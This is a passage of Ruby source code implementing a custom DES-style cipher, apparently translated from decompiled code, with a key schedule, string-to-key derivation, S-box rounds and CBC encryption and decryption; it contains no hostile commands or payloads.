    if (v3 & 0x40000) != 0
    v6 |= 0x2000
    end
    if (v4 & 0x4000000) != 0
    v6 |= 0x4000
    end
    if (v3 & 0x4000000) != 0
    v6 |= 0x8000
    end
    if (v4 & 2) != 0
    v6 |= 0x10000
    end
    if (v3 & 2) != 0
    v6 |= 0x20000
    end
    if (v4 & 0x200) != 0
    v6 |= 0x40000
    end
    if (v3 & 0x200) != 0
    v6 |= 0x80000
    end
    if (v4 & 0x20000) != 0
    v6 |= 0x100000
    end
    if (v3 & 0x20000) != 0
    v6 |= 0x200000
    end
    if (v4 & 0x2000000) != 0
    v6 |= 0x400000
    end
    if (v3 & 0x2000000) != 0
    v6 |= 0x800000
    end
    if (v4 & 1) != 0
    v6 |= 0x1000000
    end
    if (v3 & 1) != 0
    v6 |= 0x2000000
    end
    if (v4 & 0x100) != 0
    v6 |= 0x4000000
    end
    if (v3 & 0x100) != 0
    v6 |= 0x8000000
    end
    if (v4 & 0x10000) != 0
    v6 |= 0x10000000
    end
    if (v3 & 0x10000) != 0
    v6 |= 0x20000000
    end
    if (v4 & 0x1000000) != 0
    v6 |= 0x40000000
    end
    if (v3 & 0x1000000) != 0
    v6 |= 0x80000000
    end
    
    # Create return tuple
    ret_block = Array.new
    ret_block.push v5
    ret_block.push v6
    ret_block
    end
    
    def load(a1)
    a2 = Array.new(8, 0)
    v3 = a1
    a2[0] = a1 & 0xff
    v3 >>= 3
    a2[1] = v3 & 0xff
    v3 >>= 4
    a2[2] = v3 & 0xff
    v3 >>= 4
    a2[3] = v3 & 0xff
    v3 >>= 4
    a2[4] = v3 & 0xff
    v3 >>= 4
    a2[5] = v3 & 0xff
    v3 >>= 4
    a2[6] = v3 & 0xff
    v3 >>= 4
    a2[7] = v3 & 0xff
    a2[0] = (a2[0] * 2) & 0xff
    a2[7] |= (16 * a2[0]) & 0xff
    v3 >>= 4
    a2[0] |= v3 & 0xff
    
    data_block = a2.pack("c*").unpack("V*")
    data_block[0] &= 0x3F3F3F3F
    data_block[1] &= 0x3F3F3F3F
    data_block
    end
    
    def desx(data_block, ksch, idx)
    ksch = ksch.pack("V*")
    ksch = ksch.unpack("Q<*")
    key_block = ksch[idx]
    
    data_block_ptr = data_block.pack("V*")
    data_block_ptr = data_block_ptr.unpack1("Q<*")
    data_block_ptr ^= key_block
    
    counter = 1
    data_block_byte_ptr = [data_block_ptr].pack('Q<')
    left = SBOXES[data_block_byte_ptr[0].ord]
    right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
    counter += 1
    left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
    counter += 1
    right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
    
    # Create return tuple
    ret_block = Array.new
    ret_block.push left
    ret_block.push right
    ret_block
    
    end
    
    def store(data_block)
    a1 = data_block.pack("V*")
    val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
    val & 0xffffffff
    end
    
    def sbox_xors(data_block_in, ksch_arg, decrypt_flag)
    
    decrypt_flag_cpy = decrypt_flag
    if (decrypt_flag & 0x100) != 0
    data_block_0 = data_block_in
    else
    data_block_0 = rotate_block_init(data_block_in)
    end
    
    encrypt_flag = (decrypt_flag_cpy & 1) == 0
    ti_block_0 = load(data_block_0[0])
    ti_block_1 = load(data_block_0[1])
    
    for i in 0..15
    ti_cpy = ti_block_1
    if encrypt_flag
    ti_block_1 = desx(ti_block_1, ksch_arg, i)
    else
    ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
    end
    ti_block_1[0] ^= ti_block_0[0]
    ti_block_1[1] ^= ti_block_0[1]
    ti_block_0 = ti_cpy
    end
    
    data_block_0[0] = store(ti_block_1)
    data_block_0[1] = store(ti_block_0)
    
    if (!(decrypt_flag_cpy & 0x200) != 0)
    rotate_block_final(data_block_0)
    else
    data_block_0
    end
    
    end
    
    def gen_key_unchecked(key)
    
    idx = 0
    key_arr = key.unpack("V*")
    key_sch = Array.new
    for i in 0..15
    idx += ROTATIONS[i].ord
    v6 = 0
    v5 = 0
    v14 = 0
    for j in 0..47
    pc2_p1 = (idx + PC2[j].ord) % 0x1C
    if PC2[j].ord > 0x1B
    pc2_p2 = 0x1c
    else
    pc2_p2 = 0
    end
    v13 = PC1[pc2_p1 + pc2_p2].ord
    if v13 <= 31
    v12 = 0
    else
    v12 = 1
    v13 -= 32
    end
    if j <= 23
    v10 = j
    else
    v14 = 1
    v10 = j - 24
    end
    v11 = 8 * (v10 / 6) + v10 % 6
    key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]
    
    if (key_and != 0)
    if v14 == 1
    v6 |= SBOX_BYTE_ORDER[v11]
    else
    v5 |= SBOX_BYTE_ORDER[v11]
    end
    end
    end
    key_sch.push v5
    key_sch.push v6
    end
    key_sch
    end
    
    def des_string_to_key(key_buf_str)
    
    des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
    des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)
    
    temp_key1 = Array.new(8, 0)
    temp_key2 = Array.new(8, 0)
    
    key_buf_bytes = key_buf_str.unpack("c*")
    
    counter = 0
    key_buf_str_len = key_buf_bytes.length - 1
    for i in 0..key_buf_str_len
    counter %= 8
    temp_key1[counter] |= key_buf_bytes[i]
    temp_key2[counter] |= key_buf_bytes[i]
    
    data_block = temp_key1.pack("c*").unpack("V*")
    temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
    temp_key1 = temp_key1.pack("V*").unpack("c*")
    
    data_block = temp_key2.pack("c*").unpack("V*")
    temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
    temp_key2 = temp_key2.pack("V*").unpack("c*")
    counter += 1
    end
    
    # Prepare the return array
    ret_key = Array.new(8, 0)
    for j in 0..7
    ret_key[j] = temp_key2[j] ^ temp_key1[j]
    end
    ret_key.pack("c*")
    end
    
    def des_cbc(input_buf, key_sch, iv, decrypt_flag)
    
    output_block_arr = Array.new
    blocks = input_buf.unpack("Q<*")
    for i in 0..blocks.length - 1
    
    current_block = blocks[i]
    if decrypt_flag == 1
    cur_block = current_block
    else
    current_block ^= iv
    end
    
    current_block_tuple = [current_block].pack("Q<").unpack("V*")
    output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
    output_block = output_block_tuple.pack("V*").unpack1("Q<")
    output_block_arr.push output_block
    
    if decrypt_flag == 1
    output_block ^= iv
    iv = cur_block
    else
    iv = output_block
    end
    end
    
    output_block_arr.pack("Q<*")
    
    end
    
    def des_crypt_func(binary_buf, key_buf, decrypt_flag)
    des_key = des_string_to_key(key_buf)
    des_keysch = gen_key_unchecked(des_key)
    
    temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
    binary_buf_str = binary_buf.unpack('c*')
    
    for j in 0..binary_buf_str.length - 1
    temp_enc_buf[j] = binary_buf_str[j]
    end
    
    temp_enc_buf = temp_enc_buf.pack('c*')
    output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
    output_buf
    end
    
    end